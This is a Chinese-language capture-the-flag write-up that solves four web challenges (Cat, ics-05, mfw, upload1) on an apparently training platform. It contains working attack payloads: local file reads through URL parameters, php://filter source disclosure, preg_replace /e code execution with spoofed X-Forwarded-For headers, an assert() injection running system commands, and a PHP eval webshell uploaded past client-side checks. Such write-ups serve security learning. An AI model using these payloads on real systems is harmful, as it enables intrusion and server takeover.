功防世界Web高手进阶Writeup

攻防世界Web进阶区

文章目录

    • 攻防世界Web进阶区
      • 0x01. Cat
        • 解题思路
        • 附注
      • 0x02. ics-05
        • 解题思路
      • 0x03. mfw
        • 解题思路
      • 0x04. upload1
        • 解题思路

0x01. Cat

  • 难度系数 1.0
  • 题目来源: XCTF 4th-WHCTF-2017
  • 题目描述: 抓住那只猫
  • 题目场景: http://111.198.29.45:43180/ 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 尝试提交空域名,返回Invalid Url, 提交题目给出的loli.club,什么也没有反应,但现在观察地址框 http://111.198.29.45:43180/index.php?url=loli.club , 应该想到可以构造get请求

功防世界Web高手进阶Writeup_第1张图片

  1. 通过尝试应该可以发现,URL后面加:

    • 正常url, 好像没什么反应,(查看官方writeup,说返回ping结果)
    • 非法URL(特殊符号),返回Invalid URL
    • URL编码超过%80,返回Django报错

功防世界Web高手进阶Writeup_第2张图片
3. 队报错代码进行代码审计,可以得到有关数据库的相关信息,获得数据库径/opt/api/database.sqlite3
功防世界Web高手进阶Writeup_第3张图片
4. 使用@+文件名来读取本地文件,构造payload:

http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3
  1. 搜索关键词ctf 得到flag, AWHCTF{yoooo_Such_A_G00D_@}

功防世界Web高手进阶Writeup_第4张图片

附注

官方用curl构造payload

curl 'http://111.198.29.45:43180/index.php?url=@/opt/api/database.sqlite3' | xxd | grep -A 5 -B 5 WHCTF

0x02. ics-05

  • 难度系数 1.0
  • 题目来源: XCTF 4th-CyberEarth
  • 题目描述: 其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统
  • 题目场景: http://111.198.29.45:43227/ 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 题目提示是设备维护中心后门,所以打开页面后直接点击设备维护中心菜单进入

功防世界Web高手进阶Writeup_第5张图片
2. 再点击云平台设备维护中心, 发现地址栏url变了,并且页面中出现index字样
功防世界Web高手进阶Writeup_第6张图片
3. 想到可以,利用php://filter伪协议读取页面源码

http://111.198.29.45:31639/index.php?page=php://filter/convert.base64-encode/resource=index.php
  1. base64解码后,进行代码审计获取到有用信息

    //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
    
    if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    
        echo "
    Welcome My Admin !
    "
    ; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } }
  2. preg_replace:(PHP 5.5)

  • 功能 : 函数执行一个正则表达式的搜索和替换

  • 定义 : mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )

  • 搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换

p a t t e r n 存 在 / e 模 式 修 正 符 , 如 果 pattern 存在 /e 模式修正符,如果 pattern/epattern 和 $subject匹配, preg_replace会将 $replacement当做代码来执行
6.打开burpsuit,构造payload,尝试获取文件目录
功防世界Web高手进阶Writeup_第7张图片
7. 看到s3chahahaDir很可疑,进去看看
功防世界Web高手进阶Writeup_第8张图片
*注意+代表空格,%26%26为&&的url编码,表示执行完cd s3chahahaDir后,接着执行ls
8. 发现flag目录,接着进去瞧瞧
功防世界Web高手进阶Writeup_第9张图片
9. 发现flag.php, 用cat 命令读取,发现flag
功防世界Web高手进阶Writeup_第10张图片

0x03. mfw

  • 难度系数 1.0
  • 题目来源: **csaw-ctf-2016-quals **
  • 题目描述: 无
  • 题目场景: http://111.198.29.45:40481/ 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 打开页面,查看源码,发现被注释掉的页面flag页面
"navbar" class="collapse navbar-collapse">
  1. 然而构造参数 http://111.198.29.45:40481/?page=flag访问并没有什么发现
  2. 随便看看,在About页面看到网站有用到Git, 想到Git源码泄露,用dirsearch扫一下后台,发现git目录
python3 dirsearch.py -u http://111.198.29.45:40481/ -e php

功防世界Web高手进阶Writeup_第11张图片
4. GitHack 将源码下载下来, 对index.php进行代码审计(其他页面都看了,没有什么发现)

python27 GitHack.py http://111.198.29.45:40481/.git/

index.php



if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
  1. 似乎只有可以对file变量动点手脚,因为并没有函数对file进行过滤,而file变量主要有传入的page变量构成,所以构造payload
?page=abc') or system("cat templates/flag.php");//

完整的页面访问路径为:

http://111.198.29.45:40481/?page=abc') or system("cat templates/flag.php");//

功防世界Web高手进阶Writeup_第12张图片
6. 执行之后查看,页面源码,得到flag

功防世界Web高手进阶Writeup_第13张图片

0x04. upload1

  • 难度系数 1.0
  • 题目来源:
  • 题目描述: 无
  • 题目场景: http://111.198.29.45:42110 具体参见攻防世界
  • 题目附件:无

解题思路

  1. 打开页面,同样首先右键查看网页源码,发现存在客户端js验证文件类型
<script type="text/javascript">
 

Array.prototype.contains = function (obj) {  
    var i = this.length;  
    while (i--) {  
        if (this[i] === obj) {  
            return true;  
        }  
    }  
    return false;  
}  

function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
	submit.disabled = false;
}else{
	submit.disabled = true;

	alert('请选择一张图片文件上传!');
}


}

</script>
  1. 具体思路就是上传一句话木马,客户端验证很好绕过,我们构造一个图片马,1.jpg, 内容为php一句话
 @eval($_POST['cmd']);?>
  1. 用burpsuit抓包,修改文件名缀为1.php
    功防世界Web高手进阶Writeup_第14张图片
    4.用菜刀或者蚁剑连接得到webshell,在网站根目录发现flag
    功防世界Web高手进阶Writeup_第15张图片

你可能感兴趣的:(CTFWriteup)